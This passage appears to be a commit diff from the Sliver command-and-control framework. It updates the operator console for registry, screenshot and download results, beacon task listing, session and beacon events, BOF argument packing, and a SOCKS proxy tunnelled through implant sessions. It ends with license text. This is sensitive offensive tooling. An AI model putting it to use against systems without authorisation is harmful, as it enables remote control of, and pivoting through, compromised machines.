registry.PrintListValues(regList, listValuesReq.Hive, listValuesReq.Path, con)
case sliverpb.MsgRegistrySubKeysListReq:
listValuesReq := &sliverpb.RegistrySubKeyListReq{}
err := proto.Unmarshal(task.Request, listValuesReq)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
regList := &sliverpb.RegistrySubKeyList{}
err = proto.Unmarshal(task.Response, regList)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
registry.PrintListSubKeys(regList, listValuesReq.Hive, listValuesReq.Path, con)
case sliverpb.MsgRegistryReadReq:
regRead := &sliverpb.RegistryRead{}
err := proto.Unmarshal(task.Response, regRead)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
registry.PrintRegRead(regRead, con)
case sliverpb.MsgRegistryWriteReq:
regWrite := &sliverpb.RegistryWrite{}
err := proto.Unmarshal(task.Response, regWrite)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
registry.PrintRegWrite(regWrite, con)
// ---------------------
// Screenshot
// ---------------------
case sliverpb.MsgScreenshot:
screenshot := &sliverpb.Screenshot{}
err := proto.Unmarshal(task.Response, screenshot)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
promptSaveToFile(screenshot.Data, con)
// ---------------------
// Default
// ---------------------
default:
con.PrintErrorf("Cannot render task response for msg type %v\n", reqEnvelope.Type)
}
}
func taskResponseDownload(download *sliverpb.Download, con *console.SliverConsoleClient) {
const (
dump = "Dump Contents"
saveTo = "Save to File ..."
)
action := saveTo
prompt := &survey.Select{
Message: "Choose an option:",
Options: []string{dump, saveTo},
}
err := survey.AskOne(prompt, &action, survey.WithValidator(survey.Required))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
switch action {
case dump:
con.Printf("%s\n", string(download.Data))
default:
promptSaveToFile(download.Data, con)
}
}
func promptSaveToFile(data []byte, con *console.SliverConsoleClient) {
saveTo := ""
saveToPrompt := &survey.Input{Message: "Save to: "}
err := survey.AskOne(saveToPrompt, &saveTo)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if _, err := os.Stat(saveTo); !os.IsNotExist(err) {
confirm := false
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
err = ioutil.WriteFile(saveTo, data, 0600)
if err != nil {
con.PrintErrorf("Failed to save file: %s\n", err)
return
}
con.PrintInfof("Wrote %d byte(s) to %s", len(data), saveTo)
}
+46
View File
@@ -0,0 +1,46 @@
package tasks
import (
"bytes"
"errors"
"fmt"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/protobuf/clientpb"
)
// SelectBeaconTask - Select a beacon task interactively
func SelectBeaconTask(tasks []*clientpb.BeaconTask) (*clientpb.BeaconTask, error) {
// Render selection table
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, task := range tasks {
shortID := strings.Split(task.ID, "-")[0]
fmt.Fprintf(table, "%s\t%s\t%s\t\n", shortID, task.Description, prettyState(task.State))
}
table.Flush()
options := strings.Split(buf.String(), "\n")
options = options[:len(options)-1]
if len(options) == 0 {
return nil, errors.New("no task to select from")
}
selected := ""
prompt := &survey.Select{
Message: "Select a beacon task:",
Options: options,
}
err := survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for index, value := range options {
if value == selected {
return tasks[index], nil
}
}
return nil, errors.New("task not found")
}
+17 -5
View File
@@ -20,6 +20,7 @@ package tasks
import (
"context"
"sort"
"strings"
"time"
@@ -38,14 +39,14 @@ func TasksCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintWarnf("%s\n", err)
con.PrintErrorf("%s\n", err)
return
}
PrintBeaconTasks(beaconTasks.Tasks, con)
PrintBeaconTasks(beaconTasks.Tasks, ctx, con)
}
// PrintBeaconTasks - Print beacon tasks
func PrintBeaconTasks(tasks []*clientpb.BeaconTask, con *console.SliverConsoleClient) {
func PrintBeaconTasks(tasks []*clientpb.BeaconTask, ctx *grumble.Context, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
@@ -56,7 +57,16 @@ func PrintBeaconTasks(tasks []*clientpb.BeaconTask, con *console.SliverConsoleCl
"Sent",
"Completed",
})
sort.Slice(tasks, func(i, j int) bool {
return tasks[i].CreatedAt > tasks[j].CreatedAt
})
filter := strings.ToLower(ctx.Flags.String("filter"))
for _, task := range tasks {
if filter != "" && !strings.HasPrefix(strings.ToLower(task.Description), filter) {
continue
}
sentAt := time.Unix(task.SentAt, 0).Format(time.RFC1123)
if time.Unix(task.SentAt, 0).IsZero() {
sentAt = ""
@@ -68,13 +78,15 @@ func PrintBeaconTasks(tasks []*clientpb.BeaconTask, con *console.SliverConsoleCl
tw.AppendRow(table.Row{
strings.Split(task.ID, "-")[0],
prettyState(task.State),
task.Description,
strings.TrimSuffix(task.Description, "Req"),
time.Unix(task.CreatedAt, 0).Format(time.RFC1123),
sentAt,
completedAt,
})
}
con.Printf("%s\n", tw.Render())
overflow := ctx.Flags.Bool("overflow")
skipPages := ctx.Flags.Int("skip-pages")
settings.PaginateTable(tw, skipPages, overflow, true, con)
}
func prettyState(state string) string {
+23 -1
View File
@@ -51,7 +51,7 @@ func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon, err = SelectSessionOrBeacon(con)
}
if err != nil {
con.PrintWarnf("%s\n", err)
con.PrintErrorf("%s\n", err)
return
}
if session != nil {
@@ -174,3 +174,25 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
}
return nil, nil, nil
}
func Completer(con *console.SliverConsoleClient, prefix string, args []string) (results []string) {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return
}
for _, s := range sessions.Sessions {
sid := fmt.Sprintf("%d", s.ID)
if strings.HasPrefix(sid, prefix) {
results = append(results, fmt.Sprintf("%d", s.ID))
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return
}
for _, b := range beacons.Beacons {
if strings.HasPrefix(b.ID, prefix) {
results = append(results, b.ID)
}
}
return
}
+82 -42
View File
@@ -27,6 +27,7 @@ import (
"log"
insecureRand "math/rand"
"path"
"path/filepath"
"strconv"
"strings"
"sync"
@@ -40,7 +41,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
"time"
@@ -74,6 +75,8 @@ const (
Debug = Bold + Purple + "[-] " + Normal
// Woot - Display success
Woot = Bold + Green + "[$] " + Normal
// Success - Diplay success
Success = Bold + Green + "[+] " + Normal
)
// Observer - A function to call when the sessions changes
@@ -100,10 +103,6 @@ type SliverConsoleClient struct {
// BindCmds - Bind extra commands to the app object
type BindCmds func(console *SliverConsoleClient)
func init() {
insecureRand.Seed(time.Now().Unix())
}
// Start - Console entrypoint
func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isServer bool) error {
assets.Setup(false, false)
@@ -165,75 +164,72 @@ func (con *SliverConsoleClient) EventLoop() {
switch event.EventType {
case consts.CanaryEvent:
con.Printf(Clearln+Warn+Bold+"WARNING: %s%s has been burned (DNS Canary)\n", Normal, event.Session.Name)
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (DNS Canary)\n", Normal, event.Session.Name)
sessions := con.GetSessionsByName(event.Session.Name)
for _, session := range sessions {
con.Printf(Clearln+"\t🔥 Session #%d is affected\n", session.ID)
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected\n", session.ID)
}
con.Println()
case consts.WatchtowerEvent:
msg := string(event.Data)
con.Printf(Clearln+Warn+Bold+"WARNING: %s%s has been burned (seen on %s)\n", Normal, event.Session.Name, msg)
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (seen on %s)\n", Normal, event.Session.Name, msg)
sessions := con.GetSessionsByName(event.Session.Name)
for _, session := range sessions {
con.PrintWarnf("\t🔥 Session #%d is affected\n", session.ID)
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected", session.ID)
}
con.Println()
case consts.JoinedEvent:
con.PrintInfof("%s has joined the game\n\n", event.Client.Operator.Name)
con.PrintEventInfof("%s has joined the game", event.Client.Operator.Name)
case consts.LeftEvent:
con.PrintInfof("%s left the game\n\n", event.Client.Operator.Name)
con.PrintEventInfof("%s left the game", event.Client.Operator.Name)
case consts.JobStoppedEvent:
job := event.Job
con.PrintWarnf("Job #%d stopped (%s/%s)\n\n", job.ID, job.Protocol, job.Name)
con.PrintEventErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name)
case consts.SessionOpenedEvent:
session := event.Session
currentTime := time.Now().Format(time.RFC1123)
con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
con.PrintEventInfof("Session #%d %s - %s (%s) - %s/%s - %v",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
// Prelude Operator
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.AddSession(session)
if err != nil {
con.PrintErrorf("Could not add session to Operator: %s", err)
con.PrintEventErrorf("Could not add session to Operator: %s", err)
}
}
case consts.SessionUpdateEvent:
session := event.Session
currentTime := time.Now().Format(time.RFC1123)
con.Printf(Clearln+Info+"Session #%d has been updated - %v\n", session.ID, currentTime)
con.PrintEventInfof("Session #%d has been updated - %v", session.ID, currentTime)
case consts.SessionClosedEvent:
session := event.Session
con.Printf(Clearln+Warn+"Lost session #%d %s - %s (%s) - %s/%s\n",
con.PrintEventErrorf("Lost session #%d %s - %s (%s) - %s/%s",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch)
activeSession := con.ActiveTarget.GetSession()
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
con.Printf(Warn + "Active session disconnected\n")
con.PrintEventErrorf("Active session disconnected")
con.App.SetPrompt(con.GetPrompt())
}
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.RemoveSession(session)
if err != nil {
con.PrintErrorf("Could not remove session from Operator: %s", err)
con.PrintEventErrorf("Could not remove session from Operator: %s", err)
}
con.PrintInfof("Removed session %s from Operator\n", session.Name)
con.PrintEventInfof("Removed session %s from Operator", session.Name)
}
con.Println()
case consts.BeaconRegisteredEvent:
beacon := &clientpb.Beacon{}
proto.Unmarshal(event.Data, beacon)
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(beacon.ID, "-")[0]
con.PrintInfof("Beacon #%s %s - %s (%s) - %s/%s - %v\n\n",
con.PrintEventInfof("Beacon #%s %s - %s (%s) - %s/%s - %v",
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
case consts.BeaconTaskResultEvent:
@@ -255,13 +251,18 @@ func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
// We need some special handling for SessionOpenedEvent to
// set the new session as the active session
currentActiveSession := con.ActiveTarget.GetSession()
if currentActiveSession != nil {
defer con.ActiveTarget.Set(currentActiveSession, nil)
}
currentActiveSession, currentActiveBeacon := con.ActiveTarget.Get()
defer func() {
con.ActiveTarget.Set(currentActiveSession, currentActiveBeacon)
}()
con.ActiveTarget.Set(nil, nil)
if event.EventType == consts.SessionOpenedEvent {
con.ActiveTarget.Set(event.Session, nil)
} else if event.EventType == consts.BeaconRegisteredEvent {
beacon := &clientpb.Beacon{}
proto.Unmarshal(event.Data, beacon)
con.ActiveTarget.Set(nil, beacon)
}
for _, reaction := range reactions {
@@ -288,6 +289,9 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
con.PrintErrorf("\rCould not unmarshal beacon task: %s\n", err)
return
}
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
beacon, _ := con.Rpc.GetBeacon(ctx, &clientpb.Beacon{ID: task.BeaconID})
// If the callback is not in our map then we don't do anything, the beacon task
// was either issued by another operator in multiplayer mode or the client process
@@ -296,8 +300,10 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
defer con.BeaconTaskCallbacksMutex.Unlock()
if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok {
if con.Settings.BeaconAutoResults {
// TODO: The background context could block forever and deadlock the mutex
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{
if beacon != nil {
con.PrintEventSuccessf("%s completed task %s", beacon.Name, strings.Split(task.ID, "-")[0])
}
task, err = con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{
ID: task.ID,
})
con.Printf(Clearln + "\r")
@@ -377,7 +383,7 @@ func (con *SliverConsoleClient) CheckLastUpdate() {
func getLastUpdateCheck() *time.Time {
appDir := assets.GetRootAppDir()
lastUpdateCheckPath := path.Join(appDir, consts.LastUpdateCheckFileName)
lastUpdateCheckPath := filepath.Join(appDir, consts.LastUpdateCheckFileName)
data, err := ioutil.ReadFile(lastUpdateCheckPath)
if err != nil {
log.Printf("Failed to read last update check %s", err)
@@ -396,7 +402,7 @@ func getLastUpdateCheck() *time.Time {
func (con *SliverConsoleClient) GetSession(arg string) *clientpb.Session {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
con.PrintWarnf("%s\n", err)
return nil
}
for _, session := range sessions.GetSessions() {
@@ -444,18 +450,23 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
MaxConnectionErrors: uint32(1000),
ReconnectInterval: int64(60),
PollTimeout: int64(1),
Format: clientpb.OutputFormat_SHELLCODE,
IsSharedLib: true,
C2: c2s,
Format: clientpb.OutputFormat_SHELLCODE,
IsSharedLib: true,
C2: c2s,
}
return config
}
// PrintAsyncResponse - Print the generic async response information
func (con *SliverConsoleClient) PrintAsyncResponse(resp *commonpb.Response) {
con.PrintInfof("Tasked beacon %s (%s)\n", resp.BeaconID, resp.TaskID)
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
beacon, err := con.Rpc.GetBeacon(ctx, &clientpb.Beacon{ID: resp.BeaconID})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return
}
con.PrintInfof("Tasked beacon %s (%s)\n", beacon.Name, strings.Split(resp.TaskID, "-")[0])
}
func (con *SliverConsoleClient) Printf(format string, args ...interface{}) (n int, err error) {
@@ -470,14 +481,30 @@ func (con *SliverConsoleClient) PrintInfof(format string, args ...interface{}) (
return fmt.Fprintf(con.App.Stdout(), Clearln+Info+format, args...)
}
func (con *SliverConsoleClient) PrintSuccessf(format string, args ...interface{}) (n int, err error) {
return fmt.Fprintf(con.App.Stdout(), Clearln+Success+format, args...)
}
func (con *SliverConsoleClient) PrintWarnf(format string, args ...interface{}) (n int, err error) {
return fmt.Fprintf(con.App.Stdout(), Clearln+Warn+format, args...)
return fmt.Fprintf(con.App.Stdout(), Clearln+"⚠️ "+Normal+format, args...)
}
func (con *SliverConsoleClient) PrintErrorf(format string, args ...interface{}) (n int, err error) {
return fmt.Fprintf(con.App.Stderr(), Clearln+Warn+format, args...)
}
func (con *SliverConsoleClient) PrintEventInfof(format string, args ...interface{}) (n int, err error) {
return fmt.Fprintf(con.App.Stdout(), Clearln+Info+format+"\n"+Clearln+"\r\n"+Clearln+"\r", args...)
}
func (con *SliverConsoleClient) PrintEventErrorf(format string, args ...interface{}) (n int, err error) {
return fmt.Fprintf(con.App.Stderr(), Clearln+Warn+format+"\n"+Clearln+"\r\n"+Clearln+"\r", args...)
}
func (con *SliverConsoleClient) PrintEventSuccessf(format string, args ...interface{}) (n int, err error) {
return fmt.Fprintf(con.App.Stdout(), Clearln+Success+format+"\n"+Clearln+"\r\n"+Clearln+"\r", args...)
}
func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
go spin.Until(con.App.Stdout(), message, ctrl)
}
@@ -495,6 +522,11 @@ func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) {
return s.session, s.beacon
}
// GetSessionInteractive - Get the active target(s)
func (s *ActiveTarget) Get() (*clientpb.Session, *clientpb.Beacon) {
return s.session, s.beacon
}
// GetSessionInteractive - GetSessionInteractive the active session
func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session {
if s.session == nil {
@@ -525,10 +557,7 @@ func (s *ActiveTarget) GetBeacon() *clientpb.Beacon {
// IsSession - Is the current target a session?
func (s *ActiveTarget) IsSession() bool {
if s.session != nil {
return true
}
return false
return s.session != nil
}
// AddObserver - Observers to notify when the active session changes
@@ -565,13 +594,24 @@ func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) {
if session != nil && beacon != nil {
panic("cannot set both an active beacon and an active session")
}
if session == nil && beacon == nil {
s.session = nil
s.beacon = nil
for _, observer := range s.observers {
observer(s.session, s.beacon)
}
return
}
if session != nil {
s.session = session
s.beacon = nil
for _, observer := range s.observers {
observer(s.session, s.beacon)
}
} else if beacon != nil {
s.beacon = beacon
s.session = nil
for _, observer := range s.observers {
observer(s.session, s.beacon)
}
+18 -14
View File
@@ -94,7 +94,7 @@ const (
const (
OperatorsStr = "operators"
NewOperatorStr = "new-operator"
KickStr = "kick"
KickOperatorStr = "kick-operator"
MultiplayerModeStr = "multiplayer"
SessionsStr = "sessions"
@@ -111,26 +111,28 @@ const (
ProfilesStr = "profiles"
BeaconStr = "beacon"
BeaconsStr = "beacons"
WatchStr = "watch"
SettingsStr = "settings"
// Generic
// NewStr - "new"
NewStr = "new"
AddStr = "add"
StartStr = "start"
StopStr = "stop"
SetStr = "set"
UnsetStr = "unset"
SaveStr = "save"
ReloadStr = "reload"
LoadStr = "load"
TablesStr = "tables"
NewStr = "new"
AddStr = "add"
StartStr = "start"
StopStr = "stop"
SetStr = "set"
UnsetStr = "unset"
SaveStr = "save"
ReloadStr = "reload"
LoadStr = "load"
TablesStr = "tables"
DetailsStr = "details"
LootStr = "loot"
LootLocalStr = "local"
LootRemoteStr = "remote"
LootFetchStr = "fetch"
FetchStr = "fetch"
LootCredsStr = "creds"
RenameStr = "rename"
@@ -145,7 +147,7 @@ const (
HttpStr = "http"
HttpsStr = "https"
NamedPipeStr = "named-pipe"
TCPListenerStr = "tcp-pivot"
TCPListenerStr = "tcp"
MsfStr = "msf"
MsfInjectStr = "msf-inject"
@@ -205,15 +207,17 @@ const (
RegistryListSubStr = "list-subkeys"
RegistryListValuesStr = "list-values"
RegistryCreateKeyStr = "create"
PivotsListStr = "pivots-list"
PivotsStr = "pivots"
WgConfigStr = "wg-config"
WgSocksStr = "wg-socks"
WgPortFwdStr = "wg-portfwd"
MonitorStr = "monitor"
SSHStr = "ssh"
DLLHijackStr = "dllhijack"
InteractiveStr = "interactive"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
ReactionStr = "reaction"
+69
View File
@@ -0,0 +1,69 @@
package core
import (
"bytes"
"encoding/binary"
"golang.org/x/text/encoding/unicode"
)
// BOF Specific code
type BOFArgsBuffer struct {
Buffer *bytes.Buffer
}
func (b *BOFArgsBuffer) AddData(d []byte) error {
dataLen := uint32(len(d))
err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddShort(d uint16) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddInt(d uint32) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddString(d string) error {
stringLen := uint32(len(d)) + 1
err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
dBytes := append([]byte(d), 0x00)
return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
}
func (b *BOFArgsBuffer) AddWString(d string) error {
encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
strBytes := append([]byte(d), 0x00)
utf16Data, err := encoder.Bytes(strBytes)
if err != nil {
return err
}
stringLen := uint32(len(utf16Data))
err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
}
func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
outBuffer := new(bytes.Buffer)
err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
if err != nil {
return nil, err
}
err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
if err != nil {
return nil, err
}
return outBuffer.Bytes(), nil
}
+1 -2
View File
@@ -14,7 +14,6 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
)
var (
@@ -126,7 +125,7 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
// Cleanup
defer func() {
go conn.Close()
core.Tunnels.Close(tunnel.ID)
Tunnels.Close(tunnel.ID)
}()
errs := make(chan error, 1)
+1
View File
@@ -36,6 +36,7 @@ var (
consts.SessionOpenedEvent,
consts.SessionUpdateEvent,
consts.SessionClosedEvent,
consts.BeaconRegisteredEvent,
consts.CanaryEvent,
consts.WatchtowerEvent,
consts.LootAddedEvent,
+222
View File
@@ -0,0 +1,222 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io"
"net"
"sync"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/util/leaky"
)
var (
// SocksProxies - Struct instance that holds all the portfwds
SocksProxies = socksProxy{
tcpProxies: map[int]*SocksProxy{},
mutex: &sync.RWMutex{},
}
SocksConnPool = sync.Map{}
SocksProxyID = 0
)
var coreLog = log.NamedLogger("ClientCore", "sessions")
// PortfwdMeta - Metadata about a portfwd listener
type SocksProxyMeta struct {
ID int
SessionID uint32
BindAddr string
Username string
Password string
}
type TcpProxy struct {
Rpc rpcpb.SliverRPCClient
Session *clientpb.Session
Username string
Password string
BindAddr string
Listener net.Listener
stopChan bool
KeepAlivePeriod time.Duration
DialTimeout time.Duration
}
// SocksProxy - Tracks portfwd<->tcpproxy
type SocksProxy struct {
ID int
ChannelProxy *TcpProxy
}
// GetMetadata - Get metadata about the portfwd
func (p *SocksProxy) GetMetadata() *SocksProxyMeta {
return &SocksProxyMeta{
ID: p.ID,
SessionID: p.ChannelProxy.Session.ID,
BindAddr: p.ChannelProxy.BindAddr,
Username: p.ChannelProxy.Username,
Password: p.ChannelProxy.Password,
}
}
type socksProxy struct {
tcpProxies map[int]*SocksProxy
mutex *sync.RWMutex
}
// Add - Add a TCP proxy instance
func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
f.mutex.Lock()
defer f.mutex.Unlock()
Sockser := &SocksProxy{
ID: nextSocksProxyID(),
ChannelProxy: tcpProxy,
}
f.tcpProxies[Sockser.ID] = Sockser
return Sockser
}
func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
proxy, err := tcpProxy.Rpc.SocksProxy(context.Background())
if err != nil {
return err
}
go func() {
for !tcpProxy.stopChan {
FromImplantSequence := 0
p, err := proxy.Recv()
if err != nil {
return
}
if v, ok := SocksConnPool.Load(p.TunnelID); ok {
n := v.(net.Conn)
if p.CloseConn {
n.Close()
SocksConnPool.Delete(p.TunnelID)
continue
}
coreLog.Debugf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
//fmt.Printf("recv data len %d \n", len(p.Data))
_, err := n.Write(p.Data)
if err != nil {
continue
}
FromImplantSequence++
}
}
}()
for !tcpProxy.stopChan {
l, err := tcpProxy.Listener.Accept()
if err != nil {
return err
}
rpcSocks, err := tcpProxy.Rpc.CreateSocks(context.Background(), &sliverpb.Socks{
SessionID: tcpProxy.Session.ID,
})
if err != nil {
fmt.Println(err)
return err
}
go connect(l, proxy, &sliverpb.SocksData{
Username: tcpProxy.Username,
Password: tcpProxy.Password,
TunnelID: rpcSocks.TunnelID,
Request: &commonpb.Request{SessionID: rpcSocks.SessionID},
})
}
coreLog.Infof("Socks Stop -> %s\n", tcpProxy.BindAddr)
tcpProxy.Listener.Close()
proxy.CloseSend()
return nil
}
// Remove - Remove a TCP proxy instance
func (f *socksProxy) Remove(socksId int) bool {
f.mutex.Lock()
defer f.mutex.Unlock()
if _, ok := f.tcpProxies[socksId]; ok {
f.tcpProxies[socksId].ChannelProxy.stopChan = true
delete(f.tcpProxies, socksId)
return true
}
return false
}
// List - List all TCP proxy instances
func (f *socksProxy) List() []*SocksProxyMeta {
f.mutex.RLock()
defer f.mutex.RUnlock()
socksProxy := []*SocksProxyMeta{}
for _, socks := range f.tcpProxies {
socksProxy = append(socksProxy, socks.GetMetadata())
}
return socksProxy
}
func nextSocksProxyID() int {
SocksProxyID++
return SocksProxyID
}
const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
var leakyBuf = leaky.NewLeakyBuf(2048, leakyBufSize)
func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliverpb.SocksData) {
SocksConnPool.Store(frame.TunnelID, conn)
coreLog.Infof("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
buff := leakyBuf.Get()
defer leakyBuf.Put(buff)
var ToImplantSequence uint64 = 0
for {
n, err := conn.Read(buff)
if err != nil {
if err == io.EOF {
return
}
continue
}
if n > 0 {
frame.Data = buff[:n]
frame.Sequence = ToImplantSequence
coreLog.Debugf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
err := stream.Send(frame)
if err != nil {
return
}
ToImplantSequence++
}
}
}
+3 -5
View File
@@ -99,11 +99,9 @@ func (tun *Tunnel) Read(data []byte) (int, error) {
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
return 0, io.EOF
}
select {
case data := <-tun.Recv:
log.Printf("Read %d bytes", len(data))
buff.Write(data)
}
recvData := <-tun.Recv
log.Printf("Read %d bytes", len(recvData))
buff.Write(recvData)
n := copy(data, buff.Bytes())
return n, nil
}
+103
View File
@@ -290,6 +290,109 @@ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
======================================================================================================
MIT License
Copyright (c) 2018-2021 Frank Denis
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
======================================================================================================
Copyright (c) 2009 The Go Authors. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
* Neither the name of Google Inc. nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
